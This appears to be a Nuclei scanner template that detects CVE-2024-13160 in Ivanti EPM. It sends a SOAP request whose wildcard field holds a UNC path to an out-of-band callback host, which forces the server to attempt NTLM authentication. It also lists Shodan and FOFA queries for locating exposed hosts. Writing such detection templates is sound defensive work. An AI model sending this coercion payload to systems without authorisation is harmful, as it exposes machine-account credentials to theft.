Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcard

id: CVE-2024-13160

info:
  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForWildcard
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForWildcard endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.
  impact: |
    Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.
  remediation: |
    Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13160.
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13160
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13160
    cwe-id: CWE-36
    epss-score: 0.89738
    epss-percentile: 0.99774
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:362091310
    fofa-query: icon_hash="362091310"
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev,vuln

variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForWildcard

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForWildcard xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForWildcard>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForWildcardResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100cc58ed19ca607a768417db518146888f0144370c6656f000484ec492317708c0022100a86748141351c282078e7adf0704c52f6598de719c211b0c821d7fc3df4c4f64:922c64590222798bb761d5b6d8e72950